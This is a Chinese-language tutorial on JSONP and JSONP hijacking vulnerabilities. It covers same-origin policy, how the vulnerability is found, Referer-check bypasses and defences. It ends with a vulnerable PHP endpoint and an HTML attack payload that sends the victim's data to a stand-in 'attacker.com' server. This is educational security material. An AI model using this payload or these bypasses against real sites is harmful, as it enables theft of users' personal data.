JSONP与JSONP劫持漏洞的学习
字数 1486 2025-08-05 08:19:38
JSONP与JSONP劫持漏洞详解
1. 同源策略基础
1.1 同源策略(SOP)概念
同源策略(Same Origin Policy)是浏览器的安全基石,规定:
- 不同域的客户端脚本在没有明确授权的情况下,不能读写对方的资源
- "同源"定义:协议相同、域名相同、端口相同
1.2 同源策略的作用
- 防止恶意网站随意操作合法网站的资源
- 保证数据的完整性和机密性
- 严格隔离不同源的网站
2. JSONP技术详解
2.1 JSONP基本概念
JSONP(JSON with Padding)是一种跨域通信的非官方技术手段,原理:
- 动态创建
<script>标签 - 利用
<script>的src属性不受同源策略约束的特性 - 由回调函数和数据两部分组成
2.2 JSONP实现方式
// 原生实现
var script = document.createElement("script");
script.src = "https://api.example.com/data?callback=handleResponse";
document.body.insertBefore(script, document.body.firstChild);
function handleResponse(response){
// 处理返回数据
}
// jQuery实现
$.getJSON("http://example.com/data?callback=?", function(data){
// 处理数据
});
2.3 JSONP工作流程
- 客户端定义回调函数
- 动态创建
<script>标签,src包含回调函数名 - 服务器接收请求,返回以回调函数包裹的JSON数据
- 浏览器执行回调函数处理数据
3. JSONP劫持漏洞
3.1 漏洞原理
- 利用JSONP跨域特性
- 网站B对网站A的JSONP请求没有安全检查直接返回数据
- 攻击者可构造恶意页面窃取用户在网站B的数据
3.2 漏洞利用条件
- 使用JSONP获取数据
- 未严格验证Referer或验证不严谨
- GET请求中不包含token等安全参数
3.3 典型利用过程
- 用户登录网站B(含敏感信息)
- 用户访问攻击者构造的网站A
- 网站A页面包含恶意JSONP请求
- 浏览器自动执行回调函数,泄露用户信息
3.4 漏洞危害
- 敏感信息泄露(用户名、邮箱、手机号等)
- 用户权限被盗用
- 网页挂马
- 网站钓鱼
- 提权攻击
- 变种拒绝服务攻击
4. JSONP漏洞挖掘
4.1 手动挖掘方法
- 使用浏览器开发者工具,勾选"Preserve log"
- 在Network标签中过滤关键词:
- callback
- json
- jsonp
- token
- 人工确认返回数据是否包含敏感信息
- 测试跨域访问是否可行
4.2 自动化挖掘工具
Selenium + Proxy + 验证脚本组合:
- Selenium自动化点击页面元素
- Proxy代理记录所有请求
- 验证脚本测试接口安全性
5. 漏洞防御措施
5.1 基础防御
- 验证Referer头
if ($_SERVER['HTTP_REFERER']!=='http://trusted.com/') { exit("非法访问"); } - 使用一次性Token
- 严格限制callback函数名和长度
5.2 高级防御
- 严格设置Content-Type:
application/json; charset=utf-8 - 在JSON输出前添加干扰字符(如
/**/、换行符) - 输出前添加
while(1);等代码防止直接调用
5.3 防御绕过方法
- 使用data URI绕过Referer检查
- HTTPS跳转HTTP产生空Referer
- 子域名绕过(如
www.trusted.com.mydomain.com)
6. 实际案例分析
6.1 漏洞示例代码
// getUser.php
header('Content-type: application/json');
$jsoncallback = htmlspecialchars($_REQUEST['jsoncallback']);
$json_data='({"id":"1","name":"Aaron"})';
echo $jsoncallback . $json_data . ")";
6.2 攻击Payload
<!DOCTYPE html>
<html>
<head>
<title>JSONP劫持测试</title>
</head>
<body>
<script>
function callbackFunction(result) {
// 将数据发送到攻击者服务器
new Image().src = "http://attacker.com/steal?data="+JSON.stringify(result);
}
</script>
<script src="http://victim.com/getUser.php?jsoncallback=callbackFunction"></script>
</body>
</html>
7. 扩展知识
7.1 相关漏洞
- CSRF Token泄露
- 敏感API接口暴露
- 用户身份信息泄露
7.2 其他跨域技术对比
- CORS(官方推荐)
- postMessage
- 服务器代理
8. 总结
JSONP劫持是一种典型的客户端安全漏洞,安全开发人员应当:
- 尽量避免使用JSONP,改用CORS等更安全的跨域方案
- 若必须使用JSONP,实施严格的Referer检查和Token验证
- 对输出数据进行严格过滤和编码
- 定期进行安全审计,检查可能的JSONP端点
通过全面的防御措施,可以有效防止JSONP劫持漏洞带来的安全风险。